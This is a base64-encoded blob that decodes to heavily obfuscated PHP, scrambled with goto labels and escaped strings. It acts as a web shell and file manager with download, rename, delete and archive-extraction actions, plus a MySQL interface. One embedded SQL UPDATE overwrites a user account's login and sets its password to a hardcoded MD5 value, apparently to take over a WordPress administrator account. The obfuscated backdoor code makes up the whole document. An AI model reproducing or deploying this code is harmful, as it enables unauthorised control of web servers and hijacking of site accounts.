OVxcMTU0XFwxNDVcIl0pKSB7IGdvdG8gQllNV1c7IH0gZ290byBla056ZTsgVm5meU06IGhlYWRlcihcIlxceDUwXFwxNjJcXHg2MVxceDY3XFx4NmRcXDE0MVxceDNhXFw0MFxceDcwXFwxNjVcXDE0MlxceDZjXFwxNTFcXHg2M1wiKTsgZ290byBVMU1tXzsgc2piVHM6IGdvdG8gdDhWX0w7IGdvdG8gS1FqVnA7IHZxb0NiOiBnb3RvIFpUMXYwOyBnb3RvIEFkam9POyBvSlhPNzogcGpYWXQ6IGdvdG8gaHc1MHE7IHZVRnpGOiBranQwUTogZ290byBYUFl6bjsgY0UybHE6IGdvdG8gcTF1U0o7IGdvdG8gbmcycUc7IFpEc0dLOiBnb3RvIEZXMlIzOyBnb3RvIG1lbzdCOyBuTzdkMzogZ290byBTcFhBQzsgZ290byBqSFIzUzsgckw2cEc6IGdvdG8gWHg4RFQ7IGdvdG8gR1dyaHc7IE9qOTRhOiBnb3RvIGwxM194OyBnb3RvIG94WkNaOyB0QmdHeDogZ290byBibXNjdDsgZ290byBHakhjWTsgaTNlSjI6IGdvdG8gblllVlE7IGdvdG8gc05NMkM7IG0xRUZJOiBsVk0zMTogZ290byBIN09VNzsgRm9haXM6IHduMW5mOiBnb3RvIHFwY3M4OyBCbWlnWjogZ290byBvdTk5WDsgZ290byByZmp3MTsgSVRPc2w6IGdvdG8gcHI5bDU7IGdvdG8gcnhpZzk7IEJYY3B0OiBDdFVXczogZ290byBIUENXNjsgWmc2UDM6IGNRV2VkOiBnb3RvIEpUM0twOyBDX21MbDogZ290byB5Q285SDsgZ290byBLTDRlazsgQ3IyRTA6IGdvdG8gbzZZVV87IGdvdG8gTkR4Qzg7IGdXVHY3OiBuVk1aRjogZ290byBBWFpVejsgQllDZ0g6IHZSQXlvOiBnb3RvIEZNZVdEOyB4cVI2dDogTjVzNk86IGdvdG8gYktSNHc7IFJic21mOiBnb3RvIHVKOVZMOyBnb3RvIEdtTVJSOyBVZXJBbDogQ1dINmk6IGdvdG8gbThfaVQ7IGpOSGpYOiBlY2hvIFwiXFwxMDNcXHg0MVxceDRlXFx4NGVcXDExN1xceDU0XFx4MjBcXHg0NVxcMTMwXFwxMjRcXHg1MlxcMTAxXFwxMDNcXHg1NFxceDIwXFwxMjRcXHg0ZlxceDIwXFwxMjRcXDExNVxcMTIwXFw0MVwiOyBnb3RvIGU4SFo0OyBaWkxrOTogSE13b1c6IGdvdG8gSFdJTDU7IFdUTWw0OiBnb3RvIGxMa3JuOyBnb3RvIHBrSFJOOyBmeWJOWDogZDI3bmY6IGdvdG8gRXVVeGI7IFFzZWJPOiBFMF9QRzogZ290byBIc3NMeTsgQVdTeDQ6IEtmc2NaOiBnb3RvIFFOM1h0OyBrY21CRzogV2hqaXE6IGdvdG8gY09adHE7IE5NUDFrOiBrOXlGTDogZ290byBNZkIwSTsgeDFTa2s6IGZvcmVhY2ggKCRtdTdZVSBhcyAkalZqcXIpIHsgZ290byBxVDJ6RzsgVmVKWkI6IGdvdG8gQUFjQzk7IGdvdG8gVEY0cXk7IHlCdHRoOiBzMnJVejogZ290byBLdUlSQTsgbElUTEM6IGpMNWtWOiBnb3RvIFBnY1VZOyBUQzJBYzogdjJqVTM6IGdvdG8gbmpLY0w7IGVLRmE2OiBlY2hvIFwiXFw3NFxcMTY0XFwxNDRcXHgyMFxceDYzXFwxNTRcXHg2MVxcMTYzXFwxNjNcXDc1XFw0MlxceDYxXFwxNDNcXHg3NFxceDIyXFw3NlwiOyBnb3RvIEpLZjBwOyBIQXNPajogZ290byBlUlpmMzsgZ290byBuOFJUazsgZGw0Y1A6IGlmICghcHJlZ19tYXRjaChcIlxceDJmXFx4MjhcXHg3NFxceDYxXFx4NzJcXHgyZVxceDY3XFx4N2FcXHgyOVxceDI0XFx4MmZcIiwgJGpWanFyKSkgeyBnb3RvIGhNYWsyOyB9IGdvdG8gcGxLMWI7IHQwQlZiOiBSWHNBcjogZ290byBGSEZZWDsgaklMQUw6IGdvdG8gTVF3NHM7IGdvdG8gTV81Qzk7IGRfOHAzOiBlY2hvIFwiXFx4M2NcXHg3NFxcMTYyXFx4M2VcXDc0XFwxNjRcXDE0NFxcNzZcXDc0XFwxNjNcXHg3MFxcMTQxXFwxNTZcXHgyMFxceDYzXFx4NmNcXHg2MVxcMTYzXFwxNjNcXHgzZFxcNDJcXHg2NFxceDYyXFx4NmZcXDE3MFxceDIyXFx4M2VcXHg1YlxcMTA2XFx4NWRcXDc0XFx4MmZcXHg3M1xceDcwXFx4NjFcXHg2ZVxceDNlXFx4MjBcXHgzY1xcMTQxXFw0MFxceDY4XFx4NzJcXDE0NVxceDY2XFw3NVxcNDJcXDQzXFw0MlxceDIwXFwxNDNcXHg2Y1xcMTQxXFx4NzNcXDE2M1xcNzVcXDQyXFwxNDFcXHg2M1xcMTY0XFw0MlxceDNlXCIgLiAkalZqcXIgLiBcIlxceDNjXFw1N1xceDYxXFw3NlwiIC4gXCJcXDEyXCI7IGdvdG8gS256QkY7IEVfVzlpOiBnb3RvIFhSM21OOyBnb3RvIEhmcWJ6OyBlbHRvRjogTVF3NHM6IGdvdG8gZmhjNGY7IEo5OUdCOiBnb3RvIGhfdUFUOyBnb3RvIHJPcUxUOyBCTHdxaDogZ290byBOcFk0djsgZ290byBlbHRvRjsgS3VJUkE6IGVjaG8gXCJcXHgzY1xcMTQxXFw0MFxceDY4XFx4NzJcXHg2NVxcMTQ2XFx4M2RcXHgyMlxcNzdcXHg2MVxcMTQzXFwxNjRcXDE1MVxcMTU3XFx4NmVcXDc1XFwxNjJcXHg2NVxcMTU2XFx4NjFcXHg2ZFxcMTQ1XFx4MjZcXHg2NlxceDY5XFx4NmNcXDE0NVxcNzVcIiAuICR1SnpXNiAuIFwiXFx4MmZcIiAuICRqVmpxciAuIFwiXFx4MjJcXDQwXFx4NjNcXDE1NFxcMTQxXFx4NzNcXDE2M1xcNzVcXHgyMlxcMTQxXFwxNDNcXHg3NFxcNDJcXHgzZVxcMTIyXFx4NDVcXHg0ZVxceDQxXFx4NGRcXHg0NVxcNzRcXHgyZlxceDYxXFw3NlxcNDBcIjsgZ290byBQbGNzZTsgR1Rlc2Q6IGVjaG8gXCJcXDc0XFwxNDFcXHgyMFxcMTUwXFwxNjJcXDE0NVxcMTQ2XFw3NVxcNDJcXHgzZlxcMTQxXFx4NjNcXDE2NFxcMTUxXFx4NmZcXHg2ZVxcNzVcXHg2NFxceDZmXFx4NzdcXDE1NlxcMTU0XFwxNTdcXDE0MVxcMTQ0XFw0NlxcMTQ2XFx4NjlcXHg2Y1xceDY1XFx4M2RcIiAuICR1SnpXNiAuIFwiXFw1N1wiIC4gJGpWanFyIC4gXCJcXHgyMlxcNDBcXDE0M1xcMTU0XFwxNDFcXDE2M1xceDczXFx4M2RcXHgyMlxcMTQxXFwxNDNcXDE2NFxcNDJcXHgzZVxcMTA0XFx4NGZcXDEyN1xceDRlXFx4NGNcXDExN1xcMTAxXFx4NDRcXHgzY1xceDJmXFx4NjFcXHgzZVwiOyBnb3RvIGZvWGU1OyBaSGh0SDogVXlHMHI6IGdvdG8gQk5ZS0Q7IGtSZkhYOiBnb3RvIEZGek1MOyBnb3RvIGZtUjhqOyB2WndMbzogZWNobyBcIlxceDNjXFwxNDFcXHgyMFxceDY4XFwxNjJcXHg2NVxcMTQ2XFx4M2RcXDQyXFx4M2ZcXDE0MVxcMTQzXFx4NzRcXDE1MVxcMTU3XFwxNTZcXHgzZFxceDY1XFwxNDRcXHg2OVxcMTY0XFw0NlxceDY2XFx4NjlcXDE1NFxcMTQ1XFx4M2RcIiAuICR1SnpXNiAuIFwiXFw1N1wiIC4gJGpWanFyIC4gXCJcXDQyXFw0MFxceDYzXFx4NmNcXDE0MVxceDczXFx4NzNcXHgzZFxcNDJcXHg2MVxcMTQzXFwxNjRcXHgyMlxceDNlXFwxMDVcXHg0NFxceDQ5XFwxMjRcXDc0XFx4MmZcXDE0MVxceDNlXFw0MFwiOyBnb3RvIFdoSnlyOyBuOFJUazogcTZBZ0o6IGdvdG8gdDNUZjk7IHhueng0OiBnb3RvIEJzRm03OyBnb3RvIGNuMlluOyBxR0tmSTogZ290byBKYlRqOTsgZ290byBMaW9jSTsgUGxjc2U6IGdvdG8gVnVRakM7IGdvdG8gejNwcDI7IHFUMnpHOiBnb3RvIFJ1T0gwOyBnb3RvIHlPSnVqOyBwTEJieDogRzFiSDIoJHVKelc2IC4gXCJcXHgyZlwiIC4gJGpWanFyKTsgZ290byBjWUZGMzsgeExIVGY6IEcxYkgyKCR1SnpXNiAuIFwiXFx4MmZcIiAuICRqVmpxcik7IGdvdG8gQTZFS2o7IEZmQUtQOiBnb3RvIHJXNWVDOyBnb3RvIGhvZ2J6OyBQdUN2dzogb0lLV1c6IGdvdG8gS1JIdEo7IHlkNklfOiBlY2hvIFwiXFx4M2NcXHg3NFxceDY0XFw0MFxcMTQzXFx4NmNcXDE0MVxceDczXFwxNjNcXDc1XFw0MlxceDYxXFwxNDNcXDE2NFxcNDJcXHgzZVwiOyBnb3RvIEJWclJ4OyBXaEp5cjogZ290byBzMnJVejsgZ290byBLRTBydDsgS25DSVU6IGVjaG8gXCJcXDc0XFwxNjRcXDE0NFxceDNlXCI7IGdvdG8gRmZBS1A7IG10MUdjOiBlSF8wRjogZ290byBwaWhRZTsgUkVwc186IEdadEZUOiBnb3RvIEJMd3FoOyBob2diejogclc1ZUM6IGdvdG8geExIVGY7IHlnSnZiOiBKYlRqOTogZ290byBwTEJieDsgejNwcDI6IGhfdUFUOiBnb3RvIGVLRmE2OyBSZlFGdzogZ290byB5SXBIZTsgZ290byBDMnFjQjsgQlZyUng6IGdvdG8gUlhzQXI7IGdvdG8gTXhLd2I7IGZoeDJyOiBnb3RvIHZ4Zm9BOyBnb3RvIGhJcmRqOyB3ODQxRzogZWNobyBcIlxceDNjXFw1N1xcMTY0XFx4NzJcXHgzZVwiIC4gXCJcXHhhXCI7IGdvdG8gQ0JZX0Q7IGNZRkYzOiBnb3RvIHYyalUzOyBnb3RvIGxJVExDOyBIV0ROdTogWFIzbU46IGdvdG8gbTdFa3A7IGtpS0VhOiBoTWFrMjogZ290byBSZlFGdzsgY24yWW46IFUzZWdaOiBnb3RvIHlkNklfOyBNeEt3YjogVnVRakM6IGdvdG8gVVVfdXQ7IGFiM0pkOiBnb3RvIG13NTRJOyBnb3RvIE9tOUExOyBKVFpNQTogTGRQN2Q6IGdvdG8gSURKNkw7IE1fNUM5OiBTeUxDVjogZ290byBLbkNJVTsgVEY0cXk6IHZ4Zm9BOiBnb3RvIGNkVHN4OyBmbVI4ajogZVJaZjM6IGdvdG8gZF84cDM7IGZvWGU1OiBnb3RvIGtBcE1OOyBnb3RvIEpUWk1BOyBuaktjTDogZWNobyBcIlxceDNjXFw1N1xceDc0XFwxNDRcXHgzZVwiIC4gXCJcXHhhXCI7IGdvdG8gSjk5R0I7IEtSSHRKOiBnb3RvIE5Ic1pmOyBnb3RvIGFRX0Y5OyBMaW9jSTogWk1vdWU6IGdvdG8gZmlnRF87IFEyenFCOiBBQWNDOTogZ290byBHVGVzZDsgUGdjVVk6IGVjaG8gXCJcXDc0XFwxNjRcXDE0NFxceDNlXCI7IGdvdG8gcUdLZkk7IHlPSnVqOiBCc0ZtNzogZ290byB3ODQxRzsgVEN6WFI6IGdvdG8gb0lLV1c7IGdvdG8gUTJ6cUI7IHdxZV90OiBtdzU0STogZ290byBSRXBzXzsgZmhjNGY6IGVjaG8gXCJcXHgzY1xcNTdcXHg3NFxcMTYyXFw3NlwiIC4gXCJcXHhhXCI7IGdvdG8gVEN6WFI7IENuWU80OiBNYW1tSTogZ290byBSR3lCcDsgbTdFa3A6IGVjaG8gXCJcXDc0XFx4NjFcXHgyMFxceDY4XFwxNjJcXDE0NVxcMTQ2XFx4M2RcXDQyXFw3N1xceDYxXFwxNDNcXHg3NFxceDY5XFx4NmZcXHg2ZVxceDNkXFwxNDRcXDE1N1xcMTY3XFwxNTZcXDE1NFxceDZmXFx4NjFcXDE0NFxcNDZcXDE0NlxcMTUxXFwxNTRcXHg2NVxceDNkXCIgLiAkdUp6VzYgLiBcIlxcNTdcIiAuICRqVmpxciAuIFwiXFw0MlxcNDBcXDE0M1xceDZjXFwxNDFcXDE2M1xcMTYzXFx4M2RcXDQyXFwxNDFcXDE0M1xcMTY0XFw0MlxceDNlXFwxMDRcXHg0ZlxceDU3XFx4NGVcXDExNFxceDRmXFwxMDFcXHg0NFxceDNjXFx4MmZcXDE0MVxcNzZcIjsgZ290byBmaHgycjsgQWcxSzA6IGVjaG8gXCJcXDc0XFwxNDFcXDQwXFwxNTBcXHg3MlxcMTQ1XFwxNDZcXHgzZFxcNDJcXHgzZlxceDYxXFwxNDNcXDE2NFxcMTUxXFwxNTdcXDE1NlxcNzVcXDE0NFxcMTQ1XFx4NmNcXDE0NVxcMTY0XFx4NjVcXHgyNlxceDY2XFx4NjlcXDE1NFxceDY1XFx4M2RcIiAuICR1SnpXNiAuIFwiXFx4MmZcIiAuICRqVmpxciAuIFwiXFx4MjJcXHgyMFxceDYzXFx4NmNcXDE0MVxcMTYzXFwxNjNcXHgzZFxcNDJcXDE0MVxceDYzXFx4NzRcXHgyMlxceDNlXFwxMDRcXDEwNVxceDRjXFwxMDVcXDEyNFxcMTA1XFw3NFxcNTdcXHg2MVxcNzZcXHgyMFwiOyBnb3RvIFZlSlpCOyBmaWdEXzogZWNobyBcIlxceDNjXFw1N1xcMTY0XFx4NjRcXHgzZVwiIC4gXCJcXHhhXCI7IGdvdG8gRUJLeWI7IEtuekJGOiBnb3RvIGVIXzBGOyBnb3RvIFRDMkFjOyBBNkVLajogZ290byBaTW91ZTsgZ290byB0MEJWYjsgWTJhZ0Y6IGVjaG8gXCJcXHgzY1xcNTdcXDE2NFxceDY0XFx4M2VcIiAuIFwiXFwxMlwiOyBnb3RvIHhueng0OyByT3FMVDogTnBZNHY6IGdvdG8gQ25ZTzQ7IGhJcmRqOiBSdU9IMDogZ290byBkbDRjUDsgRkhGWVg6IGVjaG8gXCJcXDc0XFwxNDFcXDQwXFx4NjhcXDE2MlxceDY1XFwxNDZcXHgzZFxceDIyXFw3N1xcMTQxXFwxNDNcXDE2NFxcMTUxXFx4NmZcXDE1NlxcNzVcXHg3MlxcMTQ1XFwxNTZcXDE0MVxceDZkXFx4NjVcXHgyNlxcMTQ2XFx4NjlcXDE1NFxcMTQ1XFx4M2RcIiAuICR1SnpXNiAuIFwiXFx4MmZcIiAuICRqVmpxciAuIFwiXFx4MjJcXDQwXFwxNDNcXHg2Y1xcMTQxXFwxNjNcXHg3M1xcNzVcXDQyXFx4NjFcXHg2M1xceDc0XFx4MjJcXHgzZVxcMTIyXFx4NDVcXDExNlxcMTAxXFwxMTVcXDEwNVxcNzRcXHgyZlxcMTQxXFw3NlxcNDBcIjsgZ290byBrUmZIWDsgQzJxY0I6IGEyT2Z2OiBnb3RvIHZad0xvOyBKS2YwcDogZ290byBhMk9mdjsgZ290byBIV0ROdTsgSGZxYno6IHlJcEhlOiBnb3RvIEg2T1Q5OyBwVGNsYTogZ290byBxNkFnSjsgZ290byB5QnR0aDsgbW5famM6IGdvdG8gakw1a1Y7IGdvdG8gUHVDdnc7IHBpaFFlOiBlY2hvIFwiXFw0MFxcNzRcXHg2MVxcNDBcXDE1MFxceDcyXFwxNDVcXDE0NlxceDNkXFw0MlxcNzdcXDE0NVxceDc4XFx4NzRcXDc1XFwxNDVcXHg3OFxceDc0XFx4NzJcXHg2MVxcMTQzXFx4NzRcXDYyXFwxNjRcXHg2ZFxcMTYwXFw0NlxcMTQ3XFwxNzJcXDE1NlxcMTQxXFwxNTVcXDE0NVxcNzVcIiAuICR1SnpXNiAuIFwiXFw1N1wiIC4gJGpWanFyIC4gXCJcXHgyMlxceDIwXFx4NzNcXHg3NFxcMTcxXFwxNTRcXDE0NVxcNzVcXDQyXFx4NjJcXHg2MVxcMTQzXFx4NmJcXHg2N1xcMTYyXFx4NmZcXDE2NVxceDZlXFx4NjRcXHgzYVxceDIzXFx4MzBcXHgzMFxceDM2XFw2NlxcNjBcXHgzMFxcNzNcXDE0M1xcMTU3XFx4NmNcXDE1N1xceDcyXFx4M2FcXDQzXFwxNDZcXDE0NlxcMTQ2XFx4NjZcXHg2NlxcMTQ2XFx4M2JcXHg3MFxceDYxXFwxNDRcXDE0NFxcMTUxXFx4NmVcXHg2N1xcNzJcXDYxXFwxNjBcXDE3MFxcNzNcXDE2MFxceDYxXFx4NjRcXDE0NFxcMTUxXFx4NmVcXDE0N1xcNTVcXHg2Y1xceDY1XFx4NjZcXHg3NFxcNzJcXHgzNVxcMTYwXFx4NzhcXHgzYlxcMTYwXFx4NjFcXDE0NFxceDY0XFx4NjlcXHg2ZVxcMTQ3XFw1NVxceDcyXFx4NjlcXDE0N1xceDY4XFx4NzRcXHgzYVxcNjVcXHg3MFxceDc4XFx4M2JcXHgyMlxceDNlXFx4NDVcXHg1OFxcMTI0XFx4NTJcXDEwMVxcMTAzXFwxMjRcXDQwXFwxMjRcXHg0ZlxcNDBcXHg1NFxcMTE1XFx4NTBcXHgzY1xcNTdcXHg2MVxcNzZcIjsgZ290byBwVGNsYTsgSDZPVDk6IGVjaG8gXCJcXHgzY1xceDc0XFwxNjJcXHgzZVxceDNjXFwxNjRcXHg2NFxcNzZcXHgzY1xcMTYzXFx4NzBcXDE0MVxcMTU2XFw0MFxcMTQzXFx4NmNcXHg2MVxceDczXFx4NzNcXHgzZFxceDIyXFx4NjRcXHg2MlxcMTU3XFx4NzhcXHgyMlxceDNlXFwxMzNcXDEwNlxceDVkXFx4M2NcXHgyZlxcMTYzXFwxNjBcXHg2MVxceDZlXFw3NlxcNDBcXDc0XFx4NjFcXHgyMFxceDY4XFx4NzJcXDE0NVxcMTQ2XFw3NVxceDIyXFw3N1xceDYxXFwxNDNcXHg3NFxceDY5XFx4NmZcXDE1NlxcNzVcXDE2NlxceDY5XFx4NjVcXDE2N1xcNDZcXHg2NlxcMTUxXFx4NmNcXDE0NVxcNzVcIiAuICR1SnpXNiAuIFwiXFx4MmZcIiAuICRqVmpxciAuIFwiXFx4MjJcXHgyMFxcMTQzXFwxNTRcXHg2MVxceDczXFwxNjNcXDc1XFw0MlxcMTQxXFwxNDNcXDE2NFxcNDJcXHgzZVwiIC4gJGpWanFyIC4gXCJcXHgzY1xceDJmXFwxNDFcXDc2XFx4M2NcXDU3XFwxNjRcXHg2NFxceDNlXCIgLiBcIlxceGFcIjsgZ290byBtbl9qYzsgdDNUZjk6IGVjaG8gXCJcXHgzY1xceDJmXFwxNjRcXHg2NFxceDNlXCIgLiBcIlxceGFcIjsgZ290byBtTFdmeDsgbUxXZng6IGdvdG8gU3lMQ1Y7IGdvdG8gbXQxR2M7IE9tOUExOiBrQXBNTjogZ290byBZMmFnRjsgVVVfdXQ6IGVjaG8gXCJcXDc0XFwxNDFcXHgyMFxcMTUwXFx4NzJcXHg2NVxceDY2XFx4M2RcXHgyMlxcNzdcXDE0MVxceDYzXFx4NzRcXHg2OVxceDZmXFx4NmVcXHgzZFxcMTQ0XFwxNDVcXHg2Y1xcMTQ1XFx4NzRcXDE0NVxcNDZcXHg2NlxcMTUxXFx4NmNcXHg2NVxcNzVcIiAuICR1SnpXNiAuIFwiXFw1N1wiIC4gJGpWanFyIC4gXCJcXHgyMlxceDIwXFwxNDNcXHg2Y1xcMTQxXFwxNjNcXHg3M1xceDNkXFw0MlxcMTQxXFx4NjNcXDE2NFxcNDJcXHgzZVxceDQ0XFx4NDVcXDExNFxcMTA1XFwxMjRcXDEwNVxceDNjXFw1N1xcMTQxXFx4M2VcXDQwXCI7IGdvdG8gRV9XOWk7IElESjZMOiB4cHFKMDogZ290byBIQXNPajsgRUJLeWI6IGdvdG8gVTNlZ1o7IGdvdG8gWkhodEg7IGFRX0Y5OiBnb3RvIExkUDdkOyBnb3RvIHdxZV90OyBLRTBydDogRkZ6TUw6IGdvdG8gQWcxSzA7IGNkVHN4OiBlY2hvIFwiXFw3NFxceDJmXFwxNjRcXDE0NFxcNzZcIiAuIFwiXFwxMlwiOyBnb3RvIGpJTEFMOyBDQllfRDogZ290byBVeUcwcjsgZ290byB5Z0p2YjsgcGxLMWI6IGdvdG8geHBxSjA7IGdvdG8ga2lLRWE7IEJOWUtEOiBOSHNaZjogZ290byBhYjNKZDsgUkd5QnA6IH0gZ290byBYOFBLejsgZDBZdjI6IGc2Qm12OiBnb3RvIGtYMzg4OyBJSGhlajogTXlDMk06IGdvdG8gek1SNUw7IG04X2lUOiBTSjc2dTogZ290byB5M3lrTjsgY3hYNE46IHM5d2hTOiBnb3RvIGFuZlZkOyBLTDRlazogR2RCVjA6IGdvdG8gQVZ4VWI7IEoxM3RsOiBnb3RvIE51SXpsOyBnb3RvIHdsT2t4OyBjVE55ZjogdEg4bGY6IGdvdG8gbmQwdXU7IHJ2MFIyOiBnb3RvIGtyUTR5OyBnb3RvIHd6dHl2OyBsMjI2RTogd2d0Qkc6IGdvdG8gZ3FPeU87IG54aEZoOiBnb3RvIEFHeTJLOyBnb3RvIG5VOU1tOyB5NlAxdTogZ290byBOR1gyQjsgZ290byBJVmFLbjsgVXFSVzY6IFo3QURyOiBnb3RvIEZMcDNhOyBBTGpCczogdWxaVEY6IGdvdG8gd3ZpV187IGpoSlRZOiBnb3RvIHN0NXlkOyBnb3RvIG4zNk5WOyBlcWR4eDogWmxxN1c6IGdvdG8gS0tBeFo7IHFtSDdPOiBwVlM5YTogZ290byBUTFE2UjsgRmRfOHU6IGdvdG8ganY2MUo7IGdvdG8gaEJMeGI7IFFVUzZNOiBwSEVNMDogZ290byBCYng3cjsgZ1FpZTY6IGZ3X2pROiBnb3RvIEVXSWdVOyBoN3JPZTogZGllKFwiXFx4NDNcXDE1N1xcMTU2XFwxNTZcXDE0NVxcMTQzXFwxNjRcXHg2OVxcMTU3XFwxNTZcXDQwXFx4NjZcXHg2MVxcMTUxXFwxNTRcXDE0NVxcMTQ0XFw3MlxceDIwXCIgLiAkVTMxcEYtPmNvbm5lY3RfZXJyb3IpOyBnb3RvIFJiUVkyOyBZMUJpZTogZWNobyBcIlxcNzRcXHg2OFxcNjJcXDc2XFw1NlxcNzJcXDcyXFwxMzNcXHgyMFxceDRkXFwxNzFcXDEyM1xceDUxXFx4NGNcXDQwXFx4NDlcXDE1NlxceDc0XFwxNDVcXHg3MlxcMTQ2XFx4NjFcXDE0M1xcMTQ1XFw0MFxceDVkXFx4M2FcXHgzYVxcNTZcXHgzY1xcNTdcXHg2OFxcNjJcXHgzZVwiOyBnb3RvIFNEQkZ4OyBmRURPXzogZ290byB0MVMwRTsgZ290byBZQUFrSTsgWU0zZDQ6IExGa2s3OiBnb3RvIE90U3ExOyB6VHlsbTogZ290byBkMmxCTjsgZ290byBMR2R1bDsgTVZyWUk6IFFJUzRfOiBnb3RvIHMweFhDOyBNcWdfaDogWmRqQXg6IGdvdG8gSnl6U2g7IHUzQXFwOiAkeDZtTmogPSBcIlxceDU1XFx4NTBcXHg0NFxcMTAxXFwxMjRcXDEwNVxceDIwXCIgLiAkUE9Cb1MgLiBcIlxcMTY1XFx4NzNcXDE0NVxcMTYyXFwxNjNcXDQwXFwxMjNcXDEwNVxceDU0XFw0MFxcMTY1XFx4NzNcXHg2NVxceDcyXFwxMzdcXHg2Y1xceDZmXFwxNDdcXDE1MVxceDZlXFw0MFxceDNkXFw0MFxceDI3XFx4NjJcXDE0NVxcMTQ0XFwxNzJcXDE1NlxceDczXFw0N1xcNTRcXHgyMFxcMTY1XFx4NzNcXDE0NVxcMTYyXFx4NWZcXDE2MFxceDYxXFx4NzNcXHg3M1xceDIwXFw3NVxceDIwXFx4NGRcXHg0NFxcNjVcXHgyOFxceDI3XFx4NjJcXDE0NVxcMTQ0XFwxNzJcXHg2ZVxcMTYzXFx4MjdcXDUxXFw0MFxcMTI3XFwxMTBcXHg0NVxcMTIyXFwxMDVcXDQwXFx4NzVcXHg3M1xcMTQ1XFx4NzJcXHg1ZlxceDczXFwxNjRcXDE0MVxcMTY0XFx4NzVcXDE2M1xceDIwXFw3NVxceDIwXFx4MjdcXHgzMFxcNDdcXHgyMFxceDRjXFwxMTFcXHg0ZFxceDQ5XFx4NTRcXHgyMFxceDMxXCI7IGdvdG8gcklWY3Y7IFlQNlBuOiBZTmZuTDogZ290byBzamJUczsgRWxxX006IHA1cE94OiBnb3RvIGl4c0Q4OyBoOXV4RTogc0UwTWE6IGdvdG8gTzZHM047IHhGeDl1OiBnb3RvIEFBc1ZVOyBnb3RvIFJVcktDOyBnTEM2UjogaWYgKCRVMzFwRi0+Y29ubmVjdF9lcnJvcikgeyBnb3RvIE5pT2w1OyB9IGdvdG8gbFhJcXM7IEV1VXhiOiBnb3RvIFFpVHFIOyBnb3RvIFNwSzF4OyBMXzRsazogbFVqSHM6IGdvdG8gQjBLbzg7IFJ1bVZtOiBLQTFQcjogZ290byB1NnVJbTsgV0MzNFo6IGdvdG8gQVdSeUk7IGdvdG8gWTFpaVA7IFY4Sk5tOiBzUG1VeTogZ290byBWWEFfSTsgenN5ZmY6IGdvdG8gcWFBeHQ7IGdvdG8gQkdYek87IE0zRlFwOiBoMDEyQTogZ290byB4SlY4VzsgRl9tU2I6ICRtdTdZVSA9IGFycmF5KCk7IGdvdG8gcWFhRk87IHFDMDJvOiBmY0dfQzogZ290byBNU1A5ZTsgYUlDal86IGdvdG8gd0oyb2M7IGdvdG8geXlVckY7IGxFYXJGOiBmUEN6dDogZ290byBCczZnSDsgalZ0b2g6IGdvdG8gdGtIb187IGdvdG8gSFEyX1U7IHMweFhDOiBWUTZ4ajogZ290byBIY2E3MDsgUzlNU3U6IGlJbDNNOiBnb3RvIGxjUW5WOyB0b0plRDogZWNobyBcIlxcMTA1XFx4NzJcXDE2MlxcMTU3XFwxNjJcXHgyMFxceDc1XFwxNjBcXDE0NFxcMTQxXFwxNjRcXHg2OVxceDZlXFwxNDdcXDQwXFx4NzJcXDE0NVxceDYzXFx4NmZcXDE2MlxceDY0XFx4M2FcXDQwXCIgLiAkVTMxcEYtPmVycm9yOyBnb3RvIFZNeGdaOyBLWjV4RDogbTcyNWc6IGdvdG8gbDNvb047IGN5ZUhyOiB3MjRSeTogZ290byBzQUxDaDsgRkxwM2E6IFJtZUhCOiBnb3RvIEFESFhBOyBiOEU0eTogYm1zY3Q6IGdvdG8gTU1uSjk7IEFsMm9LOiBnb3RvIFZtMkNuOyBnb3RvIHd0NTljOyBnengzbTogZ290byBJeUNERDsgZ290byBNMkY0QjsgSnoyZ2w6IGVjaG8gXCJcXDc0XFx4NjRcXHg2OVxcMTY2XFw0MFxcMTYzXFx4NzRcXHg3OVxceDZjXFx4NjVcXDc1XFw0MlxceDZkXFwxNDFcXHg3MlxceDY3XFwxNTFcXHg2ZVxcNTVcXHg2MlxceDZmXFwxNjRcXHg3NFxceDZmXFwxNTVcXDcyXFw2MVxceDMwXFx4NzBcXDE3MFxceDNiXFx4MjJcXHgzZVwiOyBnb3RvIEFsNURmOyBHNGRIRjogdXYzbTA6IGdvdG8gU2FaSmQ7IFhOTlMwOiBnb3RvIGhsR3N0OyBnb3RvIFVtaEJrOyBOb2NhcDogaWYgKCEkdlE1N1UpIHsgZ290byB5Z2N0TTsgfSBnb3RvIFpqSnFTOyB1RnFBYjogZ290byBmUEN6dDsgZ290byBaNXAybjsgZ2tDcF86ICRFZk1PaCA9ICcnOyBnb3RvIEl5QU5IOyBEVThSVzogZ290byBxWk80eDsgZ290byBaZzZQMzsgWjVwMm46IEp5Tm1yOiBnb3RvIEdVbXpPOyBsZnd4UTogeURhcWU6IGdvdG8gZjNscHM7IGNXN3FxOiBGX1l5bDogZ290byBWcDUwbzsgcWRZTW86IE1VenFNOiBnb3RvIFVyYzhNOyB5WjhvYzogJFBMVFRhID0gXCJcXHgzY1xceDY2XFwxNTdcXDE1NlxceDc0XFw0MFxcMTQzXFwxNTdcXDE1NFxceDZmXFwxNjJcXDc1XFw0M1xceDMwXFw2MFxcNjZcXDY2XFw2MFxceDMwXFw3NlxceDUzXFx4NzVcXHg2M1xcMTQzXFx4NjVcXHg3M1xcMTYzXFwxNDVcXHg2NFxceDIxXFw3NFxceDJmXFx4NjZcXHg2ZlxcMTU2XFx4NzRcXDc2XCI7IGdvdG8geGhoVWE7IHgxaXFNOiB3N1h2WTogZ290byBvbDlZXzsgejducUQ6IFp4WHlmOiBnb3RvIGVKNUdfOyBNeTlWTzogUGhQdEc6IGdvdG8gaGcwYkY7IHFwY3M4OiBnb3RvIHlyTncwOyBnb3RvIGZ0VWNFOyBCR1h6TzogZVY5c0U6IGdvdG8gWXlLbU47IFV3Tnh3OiBBNTNwdDogZ290byBLR1VKNjsgcVR1QUI6IGRpZShcIlxceDQzXFx4NmZcXHg3NVxceDZjXFwxNDRcXHgyMFxcMTU2XFwxNTdcXHg3NFxcNDBcXHg3M1xcMTQ1XFx4NmNcXHg2NVxceDYzXFx4NzRcXDQwXFwxNDRcXDE0MVxcMTY0XFx4NjFcXHg2MlxcMTQxXFx4NzNcXDE0NVxcNzJcXDQwXCIgLiBldVRLaygpKTsgZ290byBLWUZRcjsgZW9uQVM6IGdvdG8gSFIyalo7IGdvdG8gaEtMV3c7IHdTUHZTOiBnb3RvIGZjWXlROyBnb3RvIG9iNUVvOyB0Q01GczogZWNobyBcIlxceDNjXFwxNDNcXHg2NVxceDZlXFwxNjRcXHg2NVxcMTYyXFw3NlxceDNjXFwxNDZcXDE1N1xceDZlXFwxNjRcXHgyMFxcMTQzXFx4NmZcXHg2Y1xceDZmXFx4NzJcXDc1XFwxNjJcXHg2NVxceDY0XFw3NlxcMTAz